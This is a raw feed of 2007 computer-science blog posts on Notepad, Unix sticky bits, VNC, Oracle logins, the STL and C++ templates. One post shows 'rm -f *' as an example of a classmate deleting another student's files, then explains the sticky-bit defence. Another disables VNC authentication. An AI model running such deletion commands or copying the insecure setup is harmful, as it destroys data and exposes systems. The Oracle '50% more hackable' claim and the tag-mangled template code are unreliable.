Antivirus/Anti-spyware?? Whats that!!'/><author><name>Jammer</name><uri>http://www.blogger.com/profile/05160101635044245088</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-4166272585073192299</id><published>2007-07-05T19:15:00.000+05:30</published><updated>2007-07-05T19:22:12.250+05:30</updated><title type='text'>Did you know? - IV</title><content type='html'>This is short but good... I was writing something in the Notepad and suddenly I pressed the F5 function key mistakingly... Suddenly the current &lt;strong&gt;TIME&lt;/strong&gt; and the &lt;strong&gt;DATE &lt;/strong&gt;was automatically appended to my current text!&lt;br /&gt;&lt;br /&gt;Did you know that pressing F5 function key in the notepad would bring up the current time and date? :-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-4166272585073192299?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/4166272585073192299/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=4166272585073192299' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/4166272585073192299'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/4166272585073192299'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/07/did-you-know-iv.html' title='Did you know? - IV'/><author><name>Jammer</name><uri>http://www.blogger.com/profile/05160101635044245088</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-1682548824459602621</id><published>2007-07-03T16:33:00.001+05:30</published><updated>2007-07-03T17:36:51.644+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Sticky Bit'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Unix'/><category scheme='http://www.blogger.com/atom/ns#' term='File Permissions'/><title type='text'>Concept For The Day - Unix File Permissions Pitfalls!!</title><content type='html'>Imagine yourself in a situation where you are in a class of 10 students and your instructor has given you all an assignment to be done on Unix/Linux. You have also been instructed specifically that you should not lock your directory so that other students can read your assignment for their reference. By chgance your home directory has write permissions for ALL USERS and you keep saving your assigments inside this directory with only read permissions, thinking that others would read your assignment without changing it. You are pretty contented that all your files are read-only!&lt;br /&gt;&lt;br /&gt;Then one day, a student after seeing that you have successfully completed your assignment, and he is still stuck up, decides to tackle the problem in a clandestine way!! He thinks to himself that if he is not able to finish the assignment, he won't let you too :-( So he enters your directory in which you have all your &lt;em&gt;read-only&lt;/em&gt; files and simply enters this command at the console: &lt;strong&gt;rm -f *&lt;/strong&gt;&lt;br /&gt;What do you think would happen?? Your files are read-only so you assumed that they cannot be modified &lt;strong&gt;&lt;em&gt;or deleted&lt;/em&gt;&lt;/strong&gt;?? You are WRONG!! All your files would be deleted in shot!!! Shocked??!!&lt;br /&gt;&lt;br /&gt;The reason for this is in Unix/Linux, &lt;em&gt;Everything is a FILE!!&lt;/em&gt; Your home directory is also a special kind of a file having entries of other files. The moment you gave write permissions to your directory, your directory becomes EDITABLE as a file! The system won't allow others to modify the files contained in this directory (owing to the permissions of these files) but will surely allow others to delete these files, as he is just MODIFYING/WRITING your directory without touching your files!!&lt;br /&gt;&lt;br /&gt;Hmmm... Lots of realisations!! Scared now, are you? Let me tell you a simple way out. If you are caught up in situations like you have to give write permissions to some directory but you also don't want anyone to delete your files (beacuse of some kinda jealousy :D), just follow a simple step. While you give the write permissions to all users using the command: &lt;strong&gt;chmod a+rwx dir_name &lt;/strong&gt;, also include one more line after this: &lt;strong&gt;chmod +t dir_name&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Here, the +t stands for the &lt;strong&gt;Sticky Bit &lt;/strong&gt;associated with each directory. Once you set this to '+t' your directory becomes locked for deleting. You can see a &lt;strong&gt;'t'&lt;/strong&gt; at the end of the permissions for your directory when you do a &lt;strong&gt;ls -l&lt;/strong&gt; for your parent directory. Now, only you as the owner can perform &lt;strong&gt;delete&lt;/strong&gt; operations on your directory and nobody else would, even if you have the &lt;strong&gt;write&lt;/strong&gt; permissions enabled for all users!&lt;br /&gt;&lt;br /&gt;Got your breath back... huh!! :D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-1682548824459602621?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/1682548824459602621/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=1682548824459602621' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/1682548824459602621'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/1682548824459602621'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/07/concept-for-day-unix-file-permissions.html' title='Concept For The Day - Unix File Permissions Pitfalls!!'/><author><name>Jammer</name><uri>http://www.blogger.com/profile/05160101635044245088</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-5651336852260317106</id><published>2007-07-02T10:58:00.000+05:30</published><updated>2007-07-02T14:38:01.013+05:30</updated><title type='text'>Welcome to the Daily Digest!!</title><content type='html'>Here comes one of the biggest news for all our readers!! We are going to have two new sections to all those &lt;em&gt;hungry-for-more&lt;/em&gt; users... These are:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;div align="left"&gt;Algorithm For The Day&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="left"&gt;Concept For The Day&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The &lt;em&gt;Algorithm For The Day&lt;/em&gt; would deal with any ONE algorithm and explain it in easy language so as to help all the struggling students, etc. The &lt;em&gt;Concept For The Day&lt;/em&gt; would deal any single concept related to Computer Science, be it Operating Systems, Databases, or any related field... This would be on an alternate schedule, in other words, one day for Algorithms and one day for the remaining Computer Science... Many of you would argue that the study of Algorithms also comes under the umbrella of Computer Science... Yes, I agree with you but this comes as a special addition to all the Algorithm lovers... Infact, I am myself an ardent reader and lover of Algorithms, so you may think this to be a personal bias-ness too... :-) But, in the end, it all leads to our very own personal elevation in the field of Computer Science... Wasn't this our very first aim? YES!! It was and it is... &lt;/p&gt;&lt;p&gt;So gear up your reading glasses and get glued... Cuz we're all on a blogging spree!! :D&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-5651336852260317106?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/5651336852260317106/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=5651336852260317106' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/5651336852260317106'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/5651336852260317106'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/07/welcome-to-daily-digest.html' title='Welcome to the Daily Digest!!'/><author><name>Jammer</name><uri>http://www.blogger.com/profile/05160101635044245088</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-3589872594654266912</id><published>2007-06-16T08:39:00.000+05:30</published><updated>2007-06-19T15:51:23.642+05:30</updated><title type='text'>Did you know? - III</title><content type='html'>This was a bit funny... :-) I was working on &lt;strong&gt;VNC server&lt;/strong&gt; and was looking at my mouse being moved automatically by my remote client... I was so bored with all the lazy work that I decided to some experimentation with VNC!! :P Try the following to see VNC bombarding connections to your box!!!&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Start the VNC Server on your box.&lt;/li&gt;&lt;li&gt;Double click on the VNC Server icon in your system tray to edit the properties.&lt;/li&gt;&lt;li&gt;Go to the &lt;em&gt;Authentication&lt;/em&gt; Tab and Click on &lt;em&gt;No Authentication.&lt;/em&gt;&lt;/li&gt;&lt;li&gt;Uncheck the option &lt;em&gt;Prompt Local Users to Accept Connections&lt;/em&gt; and click ok.&lt;/li&gt;&lt;li&gt;You are ready. Now open your VNC Viewer and type the name of your system and press connect......&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;As soon as you click the CONNECT button....... BOOOM!! You start seeing many VNC viewer screens one after the other!! This is a continuous process so go to (at least try to reach) the system tray and exit the VNC server!!&lt;/p&gt;&lt;p&gt;This happens due to the &lt;strong&gt;VNC Viewer&lt;/strong&gt; hangs in an infinite loop of pointing to the same VNC server again and again!! Guess, the VNC people need to put some validations to their widely used applications!! :-)&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-3589872594654266912?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/3589872594654266912/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=3589872594654266912' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/3589872594654266912'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/3589872594654266912'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/06/did-you-know-iii.html' title='Did you know? - III'/><author><name>Jammer</name><uri>http://www.blogger.com/profile/05160101635044245088</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-1116982811251212604</id><published>2007-06-11T16:55:00.000+05:30</published><updated>2007-06-11T21:46:02.224+05:30</updated><title type='text'>Did you know? - II</title><content type='html'>Today I come to you with an &lt;strong&gt;astounding fact&lt;/strong&gt; that I was more than compelled to share with you all!! I was working with Oracle server today and was getting loads and loads of job... My head was aching with the pile of shit that was kept in front of me!! Then this miracle happened!! I was about to login to the SQLPLUS using my login information and did not notice that the CAPS LOCK was actually on! I typed the username and password, without even looking at it and pressed enter. Then I saw that I had mistakingly entered the information in ALL CAPS and was ready to re-enter the same info in small letters (as all my authentication details are in small letters).... But voilaaaa!! I was authenticated using these incorrect information and was logged in!!&lt;br /&gt;&lt;br /&gt;Did anyone of you guys knew that Oracle server is immune to case??? Man... I was surprised and shoked at the same time!! Don't you think that a lot of issues may arise due to such blunders?? Think about the following:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;A hacker, if comes to know that the username and password is &lt;strong&gt;case-insensitive,&lt;/strong&gt; and comprises of only alphabets, then the probabilty to guess it increases by twice!!&lt;/li&gt;&lt;li&gt;It makes Oracle server&lt;strong&gt; 50% &lt;/strong&gt;more &lt;em&gt;hackable!!&lt;/em&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;As you all already know, that the &lt;em&gt;"Did You Know?"&lt;/em&gt; series is entirely based on personal experience, I would love to read your comments/corrections on the same, so that the series can become more of an &lt;em&gt;eye-opener &lt;/em&gt;for the entire Computing fraternity!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-1116982811251212604?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/1116982811251212604/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=1116982811251212604' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/1116982811251212604'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/1116982811251212604'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/06/did-you-know-ii.html' title='Did you know? - II'/><author><name>Jammer</name><uri>http://www.blogger.com/profile/05160101635044245088</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-7138740626153189084</id><published>2007-06-10T23:58:00.000+05:30</published><updated>2007-06-11T00:30:20.866+05:30</updated><title type='text'>Standard Template Library</title><content type='html'>&lt;em&gt;&lt;strong&gt;Alexander Stepanov&lt;br /&gt;&lt;span style="font-weight: normal;"&gt;Alexander Stepanov is a member of the technical staff at Silicon Graphics, Inc. (Mountain View, CA), where he works on C++ libraries and tools. Prior to joining SGI, he worked for HP Labs, AT&amp;T Bell Labs, Polytechnic University (Brooklyn, NY), and GE R&amp;amp;D. He has worked in such areas as generic software libraries, storage systems, OSes, compilers, and path-planning algorithms for robots. He can be contacted on the Internet at &lt;a href="stepanov@mti.sgi.com"&gt;stepanov@mti.sgi.com &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Stepanov on STL&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt;In every programming language, there's a need for various data structures, such as vectors, lists, and associative arrays. Programmers also need fundamental algorithms -- for sorting, searching, and copying -- defined for the data structures. It has long been lamented that C++ doesn't provide a good set of standard data structures. &lt;p&gt;  But at last this problem has been remedied. The Standard Template Library is a framework of data structures (called  &lt;em&gt;containers &lt;/em&gt; in STL) and algorithms accepted as part of the draft C++ standard. A reference implementation of STL has bee n put into the public domain by Hewlett-Packard (it can be downloaded from &lt;a href="butler.hpl.hp.com"&gt;butler.hpl.hp.com&lt;/a&gt;), and a growing number of commercial vendors are now shipping STL. &lt;/p&gt;&lt;p&gt; In the short time since its release, STL has generated many emotional -- and conflicting -- assessments. On one hand, for example, Bjarne Stroustrup of Bell Laboratories calls it a "large, systematic, clean, formally sound, comprehensible, elegant, and efficient framework." On the other hand, Pamela Seymour of Leiden University writes that "STL looks like the machine language macro library of an anally retentive assembly language programmer."&lt;/p&gt;&lt;strong&gt;Stepanov on "Goal: Generality + Efficiency"&lt;br /&gt;&lt;/strong&gt;STL is not an attempt to impose yet another standard on a suffering humanity. And it was not designed by or for a committee. It is the result of over 15 years of research in generic programming that I've done in different places, with different collaborators, and in different programming languages. I did this research with a concrete goal in mind: to find a way to write algorithms in the most general way, but in such a way that their abstractness would not impose any performance penalty. &lt;p&gt; What do I mean by "in the most general way"? Simply that an algorithm works on all data types for which it makes sense. For example, a linear-search algorithm is written in the most general way if it can search any data structure for which the operations of looking at data, going to the next data element, and indicating the end of the search range are defined. So, it should work for an array, a singly linked list, a doubly linked list, a file, and even a binary tree. &lt;/p&gt;&lt;p&gt; An algorithm should also work for portions of such structures. For example, you might want to search half a list or sum the set of elements in an array that are &lt;em&gt;n &lt;/em&gt; spaces apart (i.e., a stride).  &lt;/p&gt;&lt;p&gt; What do I mean when I say that an algorithm does not "impose any performance penalty"? In other words, how do you know that a generic algorithm is efficient? An algorithm is called &lt;em&gt;rel atively efficient &lt;/em&gt; if it's as efficient as a nongeneric version written in the same language, and it's called  &lt;em&gt;absolutely efficient &lt;/em&gt; if it's as efficient as a nongeneric assembly language version.  &lt;/p&gt;&lt;p&gt; For many years, I tried to achieve relative efficiency in more advanced languages (e.g., Ada and Scheme) but failed. My generic versions of even simple algorithms were not able to compete with built-in primitives. But in C++ I was finally able to not only accomplish relative efficiency but come very close to the more ambitious goal of absolute efficiency. To verify this, I spent countless hours looking at the assembly code generated by different compilers on different architectures. &lt;/p&gt;&lt;p&gt;  I found that efficiency and generality were  &lt;em&gt;not &lt;/em&gt; mutually exclusive. In fact, quite the reverse is true. If a component is not efficient enough, it usually means that it's not abstract enough. This is because efficiency and abstractness both require a clean, orthogonal design. A similar phenomenon occurs in mathematics: Making a proof more abstract makes it more concise and elegant. &lt;/p&gt;&lt;span style="font-weight: bold;"&gt;Stepanov on "Orthogonal Component Space"&lt;/span&gt;&lt;br /&gt;The past 25 years have seen attempts to revolutionize programming by reducing all programs to a single conceptual primitive. Functional programming, for example, made everything into a function; the notions of states, addresses, and side effects were taboo. Then, with the advent of object-oriented programming (OOP), functions became taboo; everything became an object (with a state).&lt;br /&gt;&lt;br /&gt;STL is heavily influenced by both functional programming and OOP. But it's not a single-paradigm library; rather, it's a library for general-purpose programming of von Neumann computers.&lt;br /&gt;&lt;br /&gt;STL is based on an orthogonal decomposition of component space. For example, an array and a binary search should not be reduced to a single, fundamental notion. The two are quite different. An array is a data structure -- a component that holds data. A binary search is an algorithm -- a component that performs a computation on data stored in a data structure. As long as a data structure provides an adequate access method, you can use the binary-search algorithm on it. Only by respecting the fundamental differences of arrays and binary searches can efficiency and elegance be simultaneously achieved.&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;Stepanov on "Iterator Categories" &lt;/strong&gt;   &lt;/p&gt;&lt;p&gt; STL classifies iterators into five categories: input, output, forward, bidirectional, and random-access. These iterator categories are sets of requirements for operations that are supported by concrete iterator types. An important experimental discovery I made was that hundreds of different practical algorithms can be written in terms of these abstract categories. &lt;/p&gt;&lt;p&gt; STL specifies a set of valid expressions for each category's iterators, as well as precise semantics for each iterator's usage. For example, given that &lt;tt&gt;i &lt;/tt&gt; is a value of a typ e that belongs to a bidirectional iterator category, if  &lt;tt&gt;++i &lt;/tt&gt; is defined, then  &lt;tt&gt; -- (++i) == i &lt;/tt&gt;. STL also prescribes certain complexity requirements for these expressions. Users are thereby guaranteed that algorithms written in terms of these abstract interfaces will work effectively. &lt;/p&gt;&lt;p&gt; Different algorithms require different kinds of iterators, and different algorithms are needed to perform different operations on different data structures. STL uses a novel language technique that selects the right algorithm at compile time, depending on the iterator category.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Stepanov on "The Future"&lt;/strong&gt;&lt;br /&gt;It is my hope that STL will prove to be the beginning of a long process of developing systematic catalogs of highly parameterized software components. The ANSI/ISO C++ standard committee saw the promise of STL and provided a conduit through which generic programming could reach working programmers. &lt;/p&gt;&lt;p&gt; I'd like to use this opp ortunity to advocate the creation of an industrywide consortium for developing new generic components. No single company can accumulate the algorithmic expertise that is needed for such an activity. And it is in everybody's interest that all the fundamental algorithms and data structures be universally and inexpensively available. &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;After reading this article if you are interested in "generic programming and make significant contributions to the same then I think the below mentioned sites might help you to motivate you and provide some much needed insights into the world of "generic programming"&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.sgi.com/tech/stl/other_resources.html"&gt;http://www.sgi.com/tech/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.sgi.com/tech/stl/other_resources.html"&gt;http://www.math.tu-cottbus.de/~berti/research/generic.html&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.sgi.com/tech/stl/other_resources.html"&gt;http://www.cs.rpi.edu/~musser/gp/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;A very short and sweet introduction to STL Patterns&lt;br /&gt;&lt;a href="http://www.sgi.com/tech/stl/other_resources.html"&gt;http://www.two-sdg.demon.co.uk/curbralan/papers/STLPatterns.pdf&lt;br /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Good STL books available on net&lt;br /&gt;&lt;a href="http://www.informatik.hs-bremen.de/%7Ebrey/stlbe.pdf"&gt;http://www.informatik.hs-bremen.de/~brey/stlbe.pdf&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.esnips.com/ViewTagsAction.ns"&gt;http://www.esnips.com/ViewTagsAction.ns&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Hope this info was useful to get you sweating and interested in computer science :)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;&lt;span style="font-weight: normal;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/strong&gt;&lt;/em&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-7138740626153189084?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/7138740626153189084/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=7138740626153189084' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/7138740626153189084'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/7138740626153189084'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/06/standard-template-library.html' title='Standard Template Library'/><author><name>mani</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-671187054817797249</id><published>2007-06-09T21:31:00.000+05:30</published><updated>2007-06-09T23:37:25.490+05:30</updated><title type='text'>All about Function Templates</title><content type='html'>I am giving you some nice questions on function templates in the increasing order of difficulty. This time around I have included *hints too :) and will follow this in the upcoming "All About" series.&lt;br /&gt;&lt;br /&gt;Here goes the problems ...&lt;br /&gt;&lt;br /&gt;1. What are function templates ?&lt;br /&gt;2. what is the difference between template&lt;typename&gt; and template&lt;class&gt; ?&lt;br /&gt;3. Are function templates compiled into single entities that can handle any type ?&lt;br /&gt;4. How many times are the templates compiled internally ?&lt;br /&gt;5. Is there anything wrong with the following code ? If so what and how will you handle it?  &lt;br /&gt;&lt;/class&gt;&lt;/typename&gt;&lt;pre&gt;template &lt;class&gt;&lt;br /&gt;inline T const&amp; max (T const&amp;amp; a, T const&amp; b)&lt;br /&gt;{&lt;br /&gt;  &lt;span class="docEmphasis"&gt;// if&lt;/span&gt; a &lt;span class="docEmphasis"&gt;&lt;&lt;/span&gt; b &lt;span class="docEmphasis"&gt;then use&lt;/span&gt; b &lt;span class="docEmphasis"&gt;else use&lt;/span&gt; a&lt;br /&gt;  return a&lt;b?b:a; int="" main="" complex=""&gt;&lt;float&gt; c1, c2;&lt;br /&gt;...&lt;br /&gt;max(c1,c2); // A&lt;br /&gt;max(4, 4.2); // B&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:georgia;"&gt;&lt;span style="font-size:100%;"&gt;6. What are the two kinds of parameters for function templates ?&lt;br /&gt;7. Can default template arguments be specified for the function templates ?&lt;br /&gt;8. Can the Function Templates be overloaded ?&lt;br /&gt;9. Look carefully at the given code below&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/float&gt;&lt;/b?b:a;&gt;&lt;/class&gt;&lt;span class="docEmphasis"&gt;// maximum of two&lt;/span&gt; int &lt;span class="docEmphasis"&gt;values&lt;/span&gt;&lt;br /&gt;inline int const&amp; max (int const&amp;amp; a, int const&amp; b)&lt;br /&gt;{&lt;br /&gt;   return a&lt;b?b:a;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span class="docEmphasis"&gt;// maximum of two values of any type&lt;/span&gt;&lt;br /&gt;template &lt;typename&gt;&lt;br /&gt;inline T const&amp; max (T const&amp;amp; a, T const&amp; b)&lt;br /&gt;{&lt;br /&gt;   return a&lt;b?b:a;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span class="docEmphasis"&gt;// maximum of three values of any type&lt;/span&gt;&lt;br /&gt;template &lt;typename&gt;&lt;br /&gt;inline T const&amp; max (T const&amp;amp; a, T const&amp; b, T const&amp;amp; c)&lt;br /&gt;{&lt;br /&gt;   return max (max(a,b), c);&lt;br /&gt;}&lt;br /&gt;&lt;class&gt;&lt;b?b:a; int="" main="" complex=""&gt;&lt;float&gt;&lt;b?b:a;&gt;&lt;typename&gt;&lt;b?b:a;&gt;&lt;typename&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;  ::max(7, 42, 68);     // A&lt;br /&gt;  ::max(7.0, 42.0);     &lt;span class="docEmphasis"&gt;// B&lt;/span&gt;&lt;br /&gt;  ::max('a', 'b');      &lt;span class="docEmphasis"&gt;// C&lt;/span&gt;&lt;br /&gt;  ::max(7, 42);         &lt;span class="docEmphasis"&gt;// D&lt;/span&gt;&lt;br /&gt;  ::max&lt;&gt;(7, 42);       &lt;span class="docEmphasis"&gt;// E&lt;/span&gt;&lt;br /&gt;  ::max&lt;double&gt;(7, 42); &lt;span class="docEmphasis"&gt;// F&lt;/span&gt;&lt;br /&gt;  ::max('a', 42.7);     &lt;span class="docEmphasis"&gt;// G&lt;/span&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: arial;"&gt;Now that you had a good look at the code, you may be&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;able to answer as to which version of max function gets&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;called at A, B, C, D,E, F and G ?&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;10.&lt;span style="font-family:arial;"&gt;&lt;span style="font-family: georgia;"&gt;Locate the errors (if at all) in the following code &lt;br /&gt;snippet at A, B, C, D and E?&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;typename&gt;&lt;typename&gt;&lt;/typename&gt;&lt;/typename&gt;&lt;/double&gt;&lt;/typename&gt;&lt;/b?b:a;&gt;&lt;/typename&gt;&lt;/b?b:a;&gt;&lt;/float&gt;&lt;/b?b:a;&gt;&lt;/class&gt;&lt;span class="docEmphasis"&gt;// maximum of two values&lt;br /&gt;//of any type (call-by-reference)&lt;/span&gt;&lt;br /&gt;template &lt;typename&gt;&lt;br /&gt;inline T const&amp; max (T const&amp;amp; a, T const&amp; b)&lt;br /&gt;{&lt;br /&gt;return a &lt; b ? b : a; //A&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span class="docEmphasis"&gt;// maximum of two C-strings (call-by-value)&lt;/span&gt;&lt;br /&gt;inline char const* max (char const* a, char const* b)&lt;br /&gt;{&lt;br /&gt;return std::strcmp(a,b)&lt;0?b:a; //B&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span class="docEmphasis"&gt;// maximum of three values&lt;br /&gt;//of any type (call-by-reference)&lt;/span&gt;&lt;br /&gt;template &lt;typename&gt;&lt;br /&gt;inline T const&amp; max(T const&amp;amp; a,T const&amp; b,T const&amp;amp; c)&lt;br /&gt;{&lt;br /&gt;   return max (max(a,b), c); &lt;span class="docEmphasis"&gt;//C&lt;/span&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;class&gt;&lt;b?b:a; int="" main="" complex=""&gt;&lt;float&gt;&lt;b?b:a;&gt;&lt;typename&gt;&lt;b?b:a;&gt;&lt;typename&gt;&lt;double&gt;&lt;typename&gt;&lt;typename&gt;int main ()&lt;br /&gt;{&lt;br /&gt;  ::max(7, 42, 68); &lt;span class="docEmphasis"&gt;// D&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;  const char* s1 = "frederic";&lt;br /&gt;  const char* s2 = "anica";&lt;br /&gt;  const char* s3 = "lucas";&lt;br /&gt;  ::max(s1, s2, s3); // E&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;*HINTS&lt;br /&gt;1. Function templates provide a functional&lt;br /&gt;behavior that can be called for different types.&lt;br /&gt;In other words, a function template represents a family of&lt;br /&gt;functions.&lt;br /&gt;2.Semantically there is no difference in this context.&lt;br /&gt;3.Normally, templates aren't compiled into&lt;br /&gt;single entities that can handle any type.&lt;br /&gt;Instead, different entities are generated&lt;br /&gt;from the template for every type for which&lt;br /&gt;the template is used.&lt;br /&gt;4.Templates are compiled twice:&lt;span style="font-weight: normal;"&gt;&lt;p class="docList"&gt;&lt;span style="font-family: monospace;"&gt;W&lt;/span&gt;ithout instantiation, the template code&lt;br /&gt;itself is checked for correct syntax.&lt;br /&gt;Syntax errors are discovered, such as 